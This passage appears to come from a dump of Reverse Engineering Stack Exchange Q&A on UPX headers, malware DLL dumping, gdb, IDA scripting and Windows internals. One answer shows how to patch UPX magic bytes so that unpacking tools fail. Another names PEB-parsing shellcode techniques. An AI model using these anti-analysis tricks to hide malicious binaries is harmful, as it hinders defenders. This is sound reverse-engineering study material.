00000000: 7f45 4c46 0201 0103  .ELF....\n00000008: 0000 0000 0000 0000  ........\n00000010: 0200 3e00 0100 0000  ..>.....\n00000018: 0831 4200 0000 0000  .1B.....    ELF HEADER\n00000020: 4000 0000 0000 0000  @.......\n00000028: 0000 0000 0000 0000  ........\n00000030: 0000 0000 4000 3800  ....@.8.\n00000038: 0200 4000 0000 0000  ..@.....\n\n00000040: 0100 0000 0500 0000  ........\n00000048: 0000 0000 0000 0000  ........\n00000050: 0000 4000 0000 0000  ..@.....\n00000058: 0000 4000 0000 0000  ..@.....    PROGRAM HEADER TABLE\n00000060: f438 0200 0000 0000  .8......\n00000068: f438 0200 0000 0000  .8......\n00000070: 0000 2000 0000 0000  .. .....\n00000078: 0100 0000 0600 0000  ........\n\n00000080: 487d 0500 0000 0000  H}......\n00000088: 487d 6500 0000 0000  H}e.....\n00000090: 487d 6500 0000 0000  H}e.....\n00000098: 0000 0000 0000 0000  ........\n000000a0: 0000 0000 0000 0000  ........    UPX HEADER (???)\n000000a8: 0000 2000 0000 0000  .. .....\n000000b0: a298 b634 5550 5821  ...4UPX!\n000000b8: f407 0d16 0000 0000  ........\n000000c0: 1676 0500 1676 0500  .v...v..\n000000c8: 0002 0000 bd00 0000  ........\n000000d0: 0200 0000 fbfb 21ff  ......!.\n\n000000d8: 7f45 4c46 0201 0100  .ELF....\n000000e0: 0200 3e00 0d70 2840  ..>..p(@\n000000e8: 0f1b f26d 1605 00e8  ...m....   ELF HEADER (again)\n000000f0: 6d05 0013 01eb be7b  m......{\n000000f8: 3800 0805 1c00 1b00  8.......\n00000100: 060f 0527 9b90 27ec  ...'..'.\n00000108: 4000 4007 c001 0008  @.@.....\n....8<....\n
\n\n

My guess is that the second ELF header (always located at an offset of 0xd8) is the header of the compressed executable. And indeed, when looking at the original ELF header of the executable (before applying upx) we find:

\n\n
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............\n00000010: 0200 3e00 0100 0000 7028 4000 0000 0000  ..>.....p(@.....\n00000020: 4000 0000 0000 0000 e86d 0500 0000 0000  @........m......\n00000030: 0000 0000 4000 3800 0800 4000 1c00 1b00  ....@.8...@.....\n00000040: 0600 0000 0500 0000 4000 0000 0000 0000  ........@.......\n00000050: 4000 4000 0000 0000 4000 4000 0000 0000  @.@.....@.@.....\n00000060: c001 0000 0000 0000 c001 0000 0000 0000  ................\n00000070: 0800 0000 0000 0000 0300 0000 0400 0000  ................\n00000080: 0002 0000 0000 0000 0002 4000 0000 0000  ..........@.....\n
\n\n

A few fields have been omitted in the compressed version but the header is mainly preserved. So, lets assume this is just a short version of the original ELF header.

\n\n

But, what I would like to understand are the fields of the first header:

\n\n
00000080: 487d 0500 0000 0000  H}......\n00000088: 487d 6500 0000 0000  H}e.....\n00000090: 487d 6500 0000 0000  H}e.....\n00000098: 0000 0000 0000 0000  ........\n000000a0: 0000 0000 0000 0000  ........    UPX HEADER (???)\n000000a8: 0000 2000 0000 0000  .. .....\n000000b0: a298 b634 5550 5821  ...4UPX!\n000000b8: f407 0d16 0000 0000  ........\n000000c0: 1676 0500 1676 0500  .v...v..\n000000c8: 0002 0000 bd00 0000  ........\n000000d0: 0200 0000 fbfb 21ff  ......!.\n
\n\n

So, my question is about discovering the location and the meaning of the fields of the UPX header. If somebody knows about UPX internals any hint would be appreciated.

\n", "Title": "Decoding the UPX ELF header file", "Tags": "|elf|packers|upx|", "Answer": "

It's very easy to prevent the UPX tool to unpack an UPX compressed file. If you take a look to the source code you will see that it checks for the magic string UPX_MAGIC_LE32 in p_lx_interp.cpp. So, I simply changed all matches of the string (in binary chunks) \"UPX!\" to \"AAA!\". I copied /bin/ls (ELF64) to another folder and packed with UPX. Then I edited it like this:

\n\n
\n$ pyew ls\nELF Information\n(...)\n[0x00000000]> /s UPX # Search for the string UPX\nHINT[0x000000b4]: UPX!........p...p...8.............!..ELF......>...E@..e....p\nHINT[0x0000abcc]: UPX!.........S...USQRH..VH..H..1.1.H....P.....t.....H.......\nHINT[0x0000ad3b]: UPX executable packer http://upx.sf.net $..$Id: UPX 3.07 Cop\nHINT[0x0000ad6b]: UPX 3.07 Copyright (C) 1996-2010 the UPX Team. All Rights Re\nHINT[0x0000ad90]: UPX Team. All Rights Reserved. $....^j._j.X..j._j....N...p...I.......\n[0x00000000]> s 0xb4 # Seek to the specified offset in the file\n[0x000000b4:0x000000b4]> edit # Open the file for editing\n[0x000000b4:0x000000b4]> wx 414141 # Patch in hexadecimal\n[0x000000b4:0x000000b4]> s 0xabcc\n[0x0000abcc:0x0000abcc]> wx 414141\n[0x0000abcc:0x0000abcc]> s 0xafe7\n[0x0000afe7:0x0000afe7]> wx 414141\n[0x0000afe7:0x0000afe7]> s 0xb3ac\n[0x0000b3ac:0x0000b3ac]> wx 414141\n[0x0000b3ac:0x0000b3ac]> q # And quit\n$ ./ls\n(...lots of files...)\n$ upx -d ./ls\n                       Ultimate Packer for eXecutables\n                          Copyright (C) 1996 - 2010\nUPX 3.07        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 08th 2010\n        File size         Ratio      Format      Name\n   --------------------   ------   -----------   -----------\nupx: ls: NotPackedException: not packed by UPX\n\nUnpacked 0 files.\n
\n\n

That's all. Anyway, remember that you're only preventing this tool to unpack UPX compressed files. UPX is a compressor that anyone with basic knowledge about packers can uncompress with little to no effort.

\n" }, { "Id": "3336", "CreationDate": "2014-01-01T06:24:13.160", "Body": "

I am trying to reverse engineer a DLL that may contain malware. One thing I noticed is that it hides itself from the DLL LDR_MODULE list. So, when I use Ollydbg or smiler tools I do not see it and cannot dump it.

\n\n

I don't have the DLL file. I just have an executable file that injects the DLL into a certain process.

\n", "Title": "How to dump a DLL not listed using Process Explore and similar tools", "Tags": "|malware|ollydbg|dll|", "Answer": "

I'll list some ways to do it. Obviously there are many others and most likely other fellows here will add. Start with those as they are ones of the mostly used.

\n\n
    \n
  1. While debugging a malicious process, BP on WriteProcessMemory/NtMapViewOfSection API. Those are used to copy/map potential DLL into the remote process. Before the copying or mapping is done, you can dump the buffer to disk. Check the manual of the above APIs to find the local buffer which will be copied to remote process.
    2. \n
  2. Alternatively, if you have s little understanding what malicious code is doing you can follow it by inspecting the log of procmon. Once you see something in the log that is 100% done by the mal-DLL, you can open that log line and inspect the stack. The stack will tell you at what page the mal-DLL resides. If you know at what memory page the DLL resides in the infected process, you can use for example Process Hacker for dumping this specific memory page by clicking on the process and inspecting memory tab.
    3. \n
  3. Alternatively, you can dump the whole memory of the infected machine and use tool - Volatility to inspect the memory of a specific process or all the processes.
    4. \n
\n" }, { "Id": "3340", "CreationDate": "2014-01-02T14:42:46.873", "Body": "

I have been using BinDiff as a plug-in for IDA Pro. I understand it is not possible to run this plug-in via terminal/batch mode. Is there a way I can export the results to a more readable format such as a .pdf or a .txt? I need a more readable format then the .BinDiff and .BinExport formats that it generates.

\n", "Title": "Formatting BinDiff results to a .txt", "Tags": "|ida|idapython|ida-plugin|tool-bindiff|", "Answer": "

Zynamics replied, they said that they removed the to text functionality as it was mostly used for debugging. However the .BinDiff results are essentially an SQLite file and can be handled as one. Firefox has a plug-in to read these SQLite files found here. For linux I have found that Sqliteman works well.

\n" }, { "Id": "3342", "CreationDate": "2014-01-03T04:45:56.790", "Body": "

I'd like to automate the following in my .gdbinit:

\n\n
break boost::uuids::detail::sha1::process_bytes\n\n# When execution stops at the above breakpoint,\n# I want to display the contents of `rcx` as a string:\nx/s $rcx\nc  # do not stop here\n
\n\n

How do I automate this?

\n\n

UPDATE: Here's a better .gdbinit example:

\n\n
# Our custom-built libcurl, with debugging symbols enabled:\nset environment LD_PRELOAD=./curl/curl-7.34.0/lib/.libs/libcurl.so\n\n# File that connects to the evil server:\nfile ./evil\n\n# Make sure we get notified when it connects!\nbreak curl_easy_setopt\ncommands $bpnum\nclear curl_easy_setopt  # to avoid recursion\ncall curl_easy_setopt(curl, CURLOPT_VERBOSE)\ncontinue\nend\n
\n\n

This hooks in to the evil binary, and when it initialises its curl handle, we set set it to verbose so we get lots of output about what's going on.

\n\n

Thanks for the answer.

\n", "Title": "Run command on breakpoint without stopping", "Tags": "|gdb|", "Answer": "

Easy enough. In your case what you most likely want is commands which can be used to create \"routines\" that run whenever a breakpoint is hit. For your case roughly:

\n\n
break boost::uuids::detail::sha1::process_bytes\ncommands 1\nx/s $rcx\ncontinue\nend\n
\n\n

Problem is that you need to hardcode the breakpoint number. Depending on the GDB version you may get around this using the $bpnum convenience variable. So:

\n\n
break boost::uuids::detail::sha1::process_bytes\ncommands $bpnum\nx/s $rcx\ncontinue\nend\n
\n\n

Also see this concerning the last example.

\n\n

Note: using this method can be quite taxing on the CPU depending on how often this gets called and whether a hardware breakpoint could be used by GDB.

\n\n
\n\n

You can also use the conditional form of breakpoints. Check out the actual authoritative reference here. The form looks like this:

\n\n
break ... if cond\n
\n\n

You can also set the condition independent of setting the breakpoint, if you know the breakpoint number. Use info break to get the number of the breakpoint and then use that as bnum in:

\n\n
condition bnum expression\n
\n" }, { "Id": "3352", "CreationDate": "2014-01-03T16:31:47.230", "Body": "

I am trying to disassemble some various files, and IDA does not recognize them. Is there anyway to add more file types to IDA Pro? I am running ida 6.5

\n", "Title": "IDA Pro only recognizes my files as BINARY", "Tags": "|ida|binary-analysis|ida-plugin|idapro-sdk|", "Answer": "

You would need to create a Loader plugin for them. See the ldr directory in the IDA Pro SDK.

\n\n

Once the Loader is built, you would copy it to the loaders subdirectory under IDA Pro's directory.

\n\n

Here's a nice blog entry on writing IDA Pro file loaders in higher level languages: http://www.hexblog.com/?p=110

\n" }, { "Id": "3362", "CreationDate": "2014-01-05T07:02:16.673", "Body": "

How to understand if exe/dll is written in C++/.Net/Java or in any other language. I tried to use Dependency walker but not able to get required information.

\n", "Title": "How to know in which language/technology program (.exe) is written?", "Tags": "|disassembly|windows|binary-analysis|static-analysis|executable|", "Answer": "

(blatant plug)

\n

protectionid (pid.gamecopyworld.com) reports the compiler info (turn it on in the configuration)

\n

to do it, its a multitude of things

\n

checking for byte patterns

\n

checking imports (mscoree.dll, msvcr*.dll and so on)

\n

checking entrypoint code

\n

checking mz stub

\n

checking linker version

\n

and a few other things

\n

example output

\n

Scanning -> C:\\ProtectionID.source\\problematic.files\\solved\\detected\\Agile.NET\n6.2.0.16.AgileNETUnpackMe\\AgileUnpackMe.exe

\n

File Type : 32-Bit Exe (Subsystem : Win GUI / 2), Size : 7680 (01E00h) Byte(s)

\n

[File Heuristics] -> Flag : 00000100000001001101000000110000 (0x0404D030)

\n

[Entrypoint Section Entropy] : 5.25 (section #0) ".text " | Size : 0x1288 (4744) byte(s)

\n

[DllCharacteristics] -> Flag : (0x8540) -> ASLR | DEP | NOSEH | TSA

\n

[ImpHash] -> f34d5f2d4577ed6d9ceec516c1f5a744

\n

[SectionCount] 3 (0x3) | ImageSize 0x8000 (32768) byte(s)

\n

[VersionInfo] Product Name : AgileUnpackMe

\n

[VersionInfo] Product Version : 1.0.4999.25574

\n

[VersionInfo] File Description : AgileUnpackMe

\n

[VersionInfo] File Version : 1.0.4999.25574

\n

[VersionInfo] Original FileName : AgileUnpackMe.exe

\n

[VersionInfo] Internal Name : AgileUnpackMe.exe

\n

[VersionInfo] Legal Copyrights : Copyright 2013

\n

[Debug Info] (record 1 of 1) (file offset 0x1414)

\n

Characteristics : 0x0 | TimeDateStamp : 0x522C69AD | MajorVer : 0 / MinorVer : 0 -> (0.0)

\n

Type : 2 (0x2) -> CodeView | Size : 0x57 (87)

\n

AddressOfRawData : 0x3230 | PointerToRawData : 0x1430

\n

CvSig : 0x53445352 | SigGuid A75CE0F5-0D67-4FC4-A2C612B95C81F742

\n

Age : 0x6 | Pdb : c:\\AgileUnpackMe\\AgileUnpackMe\\obj\\x86\\Debug\\AgileUnpackMe.pdb

\n

[!] AgileDotNet detected

\n

[CompilerDetect] -> .NET

\n

[.] .Net Info -> v 2.5 | x86 managed (/platform:x86) | Flags : 0x00000003 ->\nCOMIMAGE_FLAGS_ILONLY | COMIMAGE_FLAGS_32BITREQUIRED |

\n

[.] Entrypoint (Token) : 0x06000006

\n

[.] MetaData RVA : 0x00002184 | Size : 0x00000C0C (3084)

\n

[.] MetaData->Version 1.1 -> v2.0.50727

\n

[.] Flags : 0x0 | Streams : 0x5 (5)

\n\n" }, { "Id": "3367", "CreationDate": "2014-01-05T14:40:15.913", "Body": "

I've been writing a small library to allow parsing of the data files used by Sage Accounts 50, but I'm really confused by how it is storing dates.

\n\n

I'm fairly sure that there will be a date created and date modified.

\n\n

This should contain a modified date of 05/01/2014

\n\n
01 00 00 00 01 00 00 27 00 00 00 65 87 A9 CB 80 55 E4 40 EA 7D BC E5 1B 55 E4 40 65 87 A9 CB 80 55 E4 40 00\n
\n\n

12/02/2014:

\n\n
01 00 00 00 01 00 00 29 00 00 00 72 11 06 D0 81 55 E4 40 EA 7D BC E5 1B 55 E4 40 72 11 06 D0 81 55 E4 40 00\n
\n\n

16/06/2014:

\n\n
01 00 00 00 01 00 00 2B 00 00 00 6A F8 DB D4 81 55 E4 40 EA 7D BC E5 1B 55 E4 40 6A F8 DB D4 81 55 E4 40 00\n
\n\n

12/12/2013:

\n\n
01 00 00 00 01 00 00 2D 00 00 00 F8 F1 96 E6 81 55 E4 40 EA 7D BC E5 1B 55 E4 40 F8 F1 96 E6 81 55 E4 40 00\n
\n\n

Any help would be really appreciated. I've already tried looking for unix time stamps and also struct tm, without any luck.

\n\n

Thanks

\n\n

EDIT

\n\n

As requested here are some dates which are more sequential:

\n\n
01/12/13 - 01 00 00 00 01 00 00 2F 00 00 00 7C E8 A9 80 94 55 E4 40 EA 7D BC E5 1B 55 E4 40 7C E8 A9 80 94 55 E4 40 00\n02/12/13 - 01 00 00 00 01 00 00 31 00 00 00 81 59 DC 89 94 55 E4 40 EA 7D BC E5 1B 55 E4 40 81 59 DC 89 94 55 E4 40 00\n03/12/13 - 01 00 00 00 01 00 00 33 00 00 00 BF 58 F2 8B 94 55 E4 40 EA 7D BC E5 1B 55 E4 40 BF 58 F2 8B 94 55 E4 40 00\n
\n", "Title": "What is the format of this date time?", "Tags": "|binary-analysis|", "Answer": "

These are 64-bit OLE date format, but they are not the dates you're thinking they are. I took all of your samples and sorted them into the order you posted them (from top to bottom). I then decoded the 8-byte strings starting from byte 11 of each sample as a double in IEEE format and then dumped the floating-point number in text form. (I wrote a quick C++ program, but one could do that with many other methods.) I then put those into a spreadsheet (I used Libre Office, but one could also use Excel) to interpret them as Microsoft's 64-bit OLE date formats which are number of seconds from 30 December 1899 0:00:00 and got the following (mm/dd/yyyy format):

\n\n
01/05/2014 00:35:48 41644.02486\n01/05/2014 01:21:34 41644.05664\n01/05/2014 01:22:25 41644.05723\n01/05/2014 01:25:32 41644.0594\n01/05/2014 15:22:37 41644.64071\n01/05/2014 15:24:14 41644.64183\n01/05/2014 15:24:36 41644.64208\n
\n\n

It looks like the last three samples were sequentially created within two minutes, which makes sense to me. So they are indeed dates, but not the ones you think they are. Look elsewhere for changes in the file for 8-byte sequences ending with 0x40.

\n" }, { "Id": "3374", "CreationDate": "2014-01-07T00:49:33.363", "Body": "

I need some help regarding calls in assembly with Ollydbg.\nI'm messing around with a simple application.\nSo far, so good, I created a codecave for myself to add some code.

\n\n

But whenever I try to create a call to a function outside my debugged executable module to, for example, a kernel32 or msvcrt function, it messes everything up.

\n\n

Let's look at some random call in the application:

\n\n
0041D654     FF15 DC714200  CALL DWORD PTR DS:[<&KERNEL32.GetCommandLineA>]\n
\n\n

When I double click it, it shows me CALL DWORD PTR DS:[4271DC]\nSo, 4271DC seems to point to 76FB496D, which is, indeed:

\n\n
76FB496D >-FF25 60070177    JMP DWORD PTR DS:[<&api-ms-win-core-processenvironment-l1-2-0.Get> ;KERNELBA.GetCommandLineA\n
\n\n

Well, I just stole that from the application itself.\nNow I want to create a call to kernel32 myself.\nI assemble a line and enter CALL DWORD PTR DS:[Kernel32.GetCommandLineA]\nNow it's saying:

\n\n
0041D654     FF15 6D49FB76  CALL DWORD PTR DS:[KERNEL32.GetCommandLineA]\n
\n\n

Looking good!

\n\n

Assemble the line CALL DWORD PTR DS:[76FB496D]. Giving this a run works fine ofcourse, but whenever I run it like this on another pc, all hell breaks loose.

\n\n

My question is: How can I make such an pointer CALL DWORD PTR DS:[4271DC], so the code runs on all pc's?

\n\n

I can of course use CALL DWORD PTR DS:[4271DC] in the application to call the function getcomandlineA whenever I want, but I don't know the (dynamic?) pointer to, let's say, kernel32.lstrcpy.

\n", "Title": "Cannot call function (properly) in ollydbg", "Tags": "|ollydbg|", "Answer": "

Call to hard-coded addresses will not work for different reasons, the most obvious is ASLR, which randomizes the base address of every DLL, which means that the function address will be different at every boot.

\n\n

Solving this issue is far from simple as the use of LoadLibrary and GetProcAddress, classically used by developers to dynamically import DLL will also have a dynamic address, so you can't use them to determine the address of your sought function.

\n\n

To solve this issue you have to use shellcode techniques; in other words you will have to include assembly code that parse the PEB structure to determine the base address of Kernel32 address, search for your function in export table and finally use the it.

\n\n

Another more advanced techniques for more complex usage is the use of reflective DLL injection, but it is a bit far from what you are looking for.

\n" }, { "Id": "3379", "CreationDate": "2014-01-07T03:46:19.910", "Body": "

I learned basis of assembly language with, both, AT&T and Intel style. After that I gone through buffer overflow and how to use shellcode with it. Should I go for Metasploit now?

\n", "Title": "Does learning Metasploit help me in reverse engineering and malware analysis?", "Tags": "|disassembly|malware|assembly|buffer-overflow|metasploit|", "Answer": "

You may find other people code useful and metasplot is good to test and understand how things can be exploited.

\n\n

For reversing there are alot of videos and sildes that other people have released explaining how they achieved there goals

\n" }, { "Id": "3385", "CreationDate": "2014-01-07T10:38:21.537", "Body": "

I'm looking for information on the _DEVICE_OBJECT->_DEVOBJ_EXTENSION structure.

\n\n

I'd like to know a bit more about this structure in genernal, like what it's actually used for. But specifically, I'd like to know about the _DEVICE_OBJECT* AttachedTo member and the difference between that and the _DEVICE_OBJECT* AttachedDevice member in the _DEVICE_OBJECT structure.

\n\n

Google is proving fruitless, and I can't find any reference to it in the Windows Internals book. Any resources or information would be greatly appreciated.

\n\n

EDIT:
\nOk... After a bit of staring at WinDbg I found that the AttachedTo field seems to point to the device object at the top of the device tree. Can anyone confirm this?

\n", "Title": "_DEVOBJ_EXTENSION structure information", "Tags": "|windows|kernel-mode|", "Answer": "

The structure is fully documented by Microsoft on their MSDN site. I also created a blog post a while ago, regarding this data structure which can be found here - http://bsodtutorials.blogspot.co.uk/2013/11/devobj-and-deviceobject.html

\n" }, { "Id": "3387", "CreationDate": "2014-01-07T13:58:09.897", "Body": "

I'ld like to see which functions are operating with certain object's fields that I already processed, meaning I created the structure and assigned it to the correct places in the functions in IDA, without having to run a dynamic debugger. (for example, I would like to see a list of the functions accessing/writing/reading the Foo data field of the Bar object), but as far as I know it's not implemented in IDA.

\n", "Title": "Cross-referencing object fields", "Tags": "|ida|ida-plugin|idapython|struct|", "Answer": "

Unfortunately this IDA feature doesn't always work as needed especially if you define your objects in Hex-Rays.

\n\n

If your problem is around using Hex-Rays, you can use the XRefs plugin with the hexrays-python API in IDA 6.4.

\n\n

As far as I understand latest version of IDAPython with support of IDA 6.5 at\ngoogle code already contains these bindings in IDA API module, but it is not fully operational yet (at least I'm not succeeded to make it work).

\n" }, { "Id": "3388", "CreationDate": "2014-01-07T13:58:48.743", "Body": "

I am loading various files that read into IDA as binary. Once I have the GUI in front of me I am able to go through the segments and hit \"c\" in order to convert to instruction/code.

\n\n

However, I am primarily trying to do all my ida work via linux terminal (using the command line ./idal -B input-file). \nIs there a command line flag, or another method, to automate the generating of instructions from the binary files? Or is this something I will have to manually do every time?

\n", "Title": "IDA Pro converting to instruction functionality: how to automate.", "Tags": "|ida|linux|ida-plugin|idapython|", "Answer": "

I would do something like this in IDAPython:

\n\n
# I didn't check this code, please use carefully !This code will pass through all defined segments and will try to make code on any unexplored area\n# IDAPython documentation is at https://www.hex-rays.com/products/ida/support/idapython_docs/\n\nimport idautils\nimport idc\n\nfor ea in idautils.Segments():\n    segend = idc.GetSegmentAttr(ea, idc.SEGATTR_END)\n    start = ea\n    while start < segend:\n        idc.MakeCode(start)\n        start = idc.FindUnexplored(start+1, idc.SEARCH_DOWN)\n
\n\n

You can run it with -S command line switch as stated in previous answer

\n" }, { "Id": "3395", "CreationDate": "2014-01-07T17:09:11.397", "Body": "

I am using IDA Pro 6.5 and running it via terminal with the following command line switches:

\n\n
    \n
  1. -B (to run in batch mode, should automatically generate a .asm file containing results)
    2. \n
  2. -S running a script in which the only functionality is to convert all of the binary into instruction.
    3. \n
\n\n

When I ran in batch mode prior to the script, it would generate a .asm file that I would then be able to manipulate. However, now this file doesn\u2019t appear. Is there a quick fix or any IDA Python methods I can include in order to create an output file?

\n", "Title": "IDA Pro/IDA Python, producing file via terminal", "Tags": "|ida|ida-plugin|idapython|idapro-sdk|", "Answer": "

Here it is. \nRun it with idal -c -A -S./script.py ./test.bin

\n\n
# I didn't check this code, please use carefully !\n# IDAPython documentation is at https://www.hex-rays.com/products/ida/support/idapython_docs/\n\nimport idautils\nimport idc\n\nfor ea in idautils.Segments():\n    segend = idc.GetSegmentAttr(ea, idc.SEGATTR_END)\n    start = ea\n    while start < segend:\n        idc.MakeCode(start)\n        start = idc.FindUnexplored(start+1, idc.SEARCH_DOWN)\n\nidc.GenerateFile(idc.OFILE_ASM, idc.GetInputFile()+\".asm\", 0, idc.BADADDR, 0)\n\nidc.Exit(0)\n
\n" }, { "Id": "3399", "CreationDate": "2014-01-07T18:39:53.240", "Body": "

While analyzing a binary online through the virustotal service , I found out that different AVs named the binaries differently.For instance, for that same binary Norman named it Obfuscated_A, Symantec named it WS.Reputation.1 and another AV named it Malware-Cryptor.General.2 .Is there any specific naming convention adopted by the AVs?

\n", "Title": "How antiviruses name malwares", "Tags": "|malware|", "Answer": "

Generally Antivirus companies follow the naming convention proposed by CARO (Computer Antivirus Research Organization).

\n\n

A malware usually gets a name based on the strings found in it. In some cases based on Mutex/ file name/server name/registry keys and very rarely based on its action.

\n\n

In some AV companies they give certain names to track the detections made by generic/ heuristic detection methods (eg:Obfuscated_A, WS.Reputation.1)

\n" }, { "Id": "3405", "CreationDate": "2014-01-08T08:24:33.500", "Body": "

I'm debugging an application in OllyDbg, I pause the program at a specific place. Now I am deep inside ntdll and other gui related module calls, judging from the stack. I'ld like to break as soon as the application returns to any function within a specified (the main) module. Is there such breakpoint condition? How can I do this?

\n", "Title": "Break on returning to a specific module", "Tags": "|ollydbg|debugging|memory|callstack|", "Answer": "

In normal condition alt+f9 execute till user code should get you back to user code

\n" }, { "Id": "3412", "CreationDate": "2014-01-08T19:35:49.777", "Body": "

I want to convert this to C:

\n\n
SHR CL,1
\n\n

rECX is the name of the (32bit unsigned int)register variable. It should be simple, but I can't figure out the proper pointer magic :/

\n", "Title": "How to convert this one-liner asm to C", "Tags": "|assembly|decompilation|c|", "Answer": "

rECX = (rECX & 0xFFFFFF00) | ((rECX & 0xFF) >> 1)

\n" }, { "Id": "3414", "CreationDate": "2014-01-09T05:44:16.573", "Body": "

I know that reverse engineering from binary to source code (e.g. C++) is generally considered hard or impossible but has any computer scientist actually proven \"mathematically\" that it's impossible or possible to reverse engineer (any) binary to source code? Is reverse engineering simply a very hard puzzle or are there binary out there that is simply impossible to reverse whether by hand or via decompiler?

\n\n

NOTE: I know the answer might be \"it depends on platform and programming language\" so I am going to assume the language used is C++ since it's generally considered impossible to reverse it.

\n", "Title": "Is it \"theoretically\" possible/impossible to reverse any binary?", "Tags": "|disassembly|decompilation|c++|", "Answer": "

I try to give my idea about reversing, not an answer, because I myself hope that I can find it, moreover I am quite sure that any expert here may say that what I think is crappy but I beg a generosity from the community.

\n\n

The \"reverse engineering\" a program is rather to verify whether the program has some properties or not, than to reverse from binary code to source code (we can imagine that there are some properties that we can observe easily in the source code but not in the binary code), then the \"obfuscation\" is to prevent the program from such an algorithmic verification.

\n\n

In the perfect (i.e. theoretical) world, some very general results assert several things. First, the Rice's theorem (as previously mentioned by @perror) and a more constructive result of Landi. W assert that a general verificator does not exist, that means we cannot write a verificator V so that when we gives V an arbitrary program P and a non-trivial property p (a trivial property is one that exists in all programs, e.g. the magic byte MZ exists in all PE files is a trivial property), V can answer P has p or not. So that means the perfect obfuscation exists ?, the answer is trivially No, that is because we never require a such strong verificator (that gives deterministic answer for all programs), we need only a verificator for some useful classes of programs.

\n\n

Second, Barak et al (as previously mentioned also by @perror) asserts a somehow contradict result: there are some classes of programs that cannot be obfuscated, namely no matter what they are obfuscated, that is easy to write a verificator to answer these programs have a given property p (or not). There is actually no contradiction here because the Rice's theorem applies in the context of \"all programs\" and the result of Barak et al applies for the context of \"several programs\", indeed we have:

\n\n

Third, the result of Wee. H says that we can always hide (i.e. obfuscate) some properties given a class of special programs named point functions. Again, that does not mean the obfuscation is possible in general because this result applies in the context of \"several programs\".

\n\n

Fourth, the result of Garg. S et al says that we can obfuscate any program so that any property computed from the obfuscated one is \"trivial\". So that means the perfect obfuscator exists?, and if it exists then it contradict to the result of Barak et al?, obviously No, because the two results have used actually two different definitions of triviality, in the first one a property is trivial if it exists in all programs having the same semantics (so this definition is weaker than in the second one).

\n\n

In the real (i.e. practial) world, I have so little experience that I cannot give any useful idea. But I doubt that the game obfuscator vs de-obfuscator will evolve in some very clever ways and we still have many gaps to work in (as an obfuscator or as a de-obfuscator).

\n" }, { "Id": "3421", "CreationDate": "2014-01-09T10:02:26.683", "Body": "

Is there publicly available solution for translation of ARM assembly to LLVM IR?

\n", "Title": "Translation from ARM assembly to LLVM IR", "Tags": "|disassembly|", "Answer": "

From http://lists.cs.uiuc.edu/pipermail/llvmdev/2008-March/012953.html:

\n\n
\n

During Google Summer of Code 2007 I was working on llvm-qemu, which\n translates from ARM machine code to LLVM IR (at basic block level) and\n via the LLVM JIT to x86 machine code. All source architectures\n supported by qemu (x86, x86-64, ARM, SPARC, PowerPC, MIPS, m68k) can\n be translated to LLVM IR this way (e.g. adding support for x86 to\n llvm-qemu should be almost trivial).

\n \n

You can find llvm-qemu at http://code.google.com/p/llvm-qemu/

\n
\n" }, { "Id": "3430", "CreationDate": "2014-01-09T23:20:54.887", "Body": "

I am fairly familiar with WinDbg and didn't know about OllyDbg before. From the statistics in this forum, it seems that OllyDbg is twice as popular as WinDbg. Sometimes WinDbg can be frustrating, so I wonder whether I should switch.

\n\n

To make this question less opinion based, these are my requirements:

\n\n\n\n

Given these core requirements, should I give OllyDbg a try?

\n\n

Version information: OllyDbg 2.01

\n", "Title": "Should I switch from WinDbg to OllyDbg?", "Tags": "|tools|ollydbg|windbg|", "Answer": "

OllyDbg is nice, and it has some cool features but it still doesn't support x64 native debugging on Window (it is in Alpha though!)

\n\n

If you want to debug x64, then WinDbg seems to be the way to go.

\n" }, { "Id": "3435", "CreationDate": "2014-01-11T01:33:36.070", "Body": "

Test platform is windows 32 bit. IDA pro 64

\n\n

So, basically I use IDA pro to disassemble a PE file, and do some transformation work on the asm code I get, to make it re-assemblable.

\n\n

In the transformed code I generated, the system function call like printf will be written just as the usual way.

\n\n
extern printf\n....\n....\ncall printf\n
\n\n

I use this to reassemble the code I create:

\n\n
nasm -fwin32 --prefix _ test.s\ncl test.obj /link msvcrt.lib\n
\n\n

I got a PE executable file, and basically it works fine (Like a hello world program, a quick sort program and others).

\n\n

But then, as I use IDA pro to re-disassemble the new PE executable file I create, strange things happened.

\n\n

IDA pro generates function call like this:

\n\n

\"IDA

\n\n

and when I use:

\n\n
idaq.exe -B test.exe \n
\n\n

to generate new assembly code, in the printf function call part, it generate this:

\n\n
call j_printf\n
\n\n

Without the j_printf proc near function define...

\n\n

So basically I am wondering if anyone know how do deal with this, to let IDA pro generate

\n\n
call printf\n
\n\n

or

\n\n
call _printf\n
\n\n

again or any other solution?

\n", "Title": "Why IDA Pro generated a \"j_printf\" function call?", "Tags": "|ida|disassembly|windows|reassembly|", "Answer": "

It's cl.exe that's inserting the jump thunk. It has some advantages, such as making it easier to redirect a function during runtime after load and makes it so that the loader only has to do a single relocation for that function. The other option would be to use an indirect call through an address. Neither is really optimal for performance due to the distance between the call and the jump or the address, which can hurt caching. You can disable the jump thunk by disabling incremental linking.

\n\n

That said, what you're doing is probably a bad idea. IDA is not really made to produce code that can be reassembled. What's normally done is that you extend the last section or add a new section with the patched code then redirect the original code to the patch through a call or a jump.

\n" }, { "Id": "3440", "CreationDate": "2014-01-11T16:48:14.380", "Body": "

On a clean Windows XP SP2 installation running inside a VirtualBox VM, when doing a snapshot with vboxmangage debugvm --dumpguestcore and analyzing it in Volatility, I always find 9 VADs with PAGE_EXECUTE_READWRITE permissions in winlogon.exe process and 1 VAD with the same permission in csrss.exe process. Sometimes there is one in explorer.exe process as well.

\n\n

This is the same for two different Machines one with VirtualBox tools installed and one without.

\n\n

Where do these come from? What are the write permission useful for?\nAny help is mostly appreciated, thank you!

\n", "Title": "VADs with RWX permission in winlogon and csrss processes", "Tags": "|windows|digital-forensics|", "Answer": "

All the statements below are xp-sp3 based

\n\n

windbg can also be used to parse for RWX pages in VadTree
\nCopy paste following lines to **.txt and run the script $$>a< path to **.txt

\n\n

script contents needs grep in path for text parsing

\n\n
aS  proc        @#Process ;\naS  procname    @@c++( (char *)(((nt!_EPROCESS *) @#Process ))->ImageFileName )  ;\naS  procvad     @@c++( (((nt!_EPROCESS *) @#Process ))->VadRoot )  ;\n.block { !for_each_process \".printf \\\"%20ma\\t%p\\t%p\\n\\n\\\",${procname}, ${proc} , ${procvad}; .echo \\n;.shell  -ci  \\\"!vad ${procvad}\\\"  grep  \\\"EXECUTE_READWRITE\\\"\" } ;\nad *\n
\n\n

and then set the process context to approriate process and examine the memory from StartVpn to EndVpn

\n\n

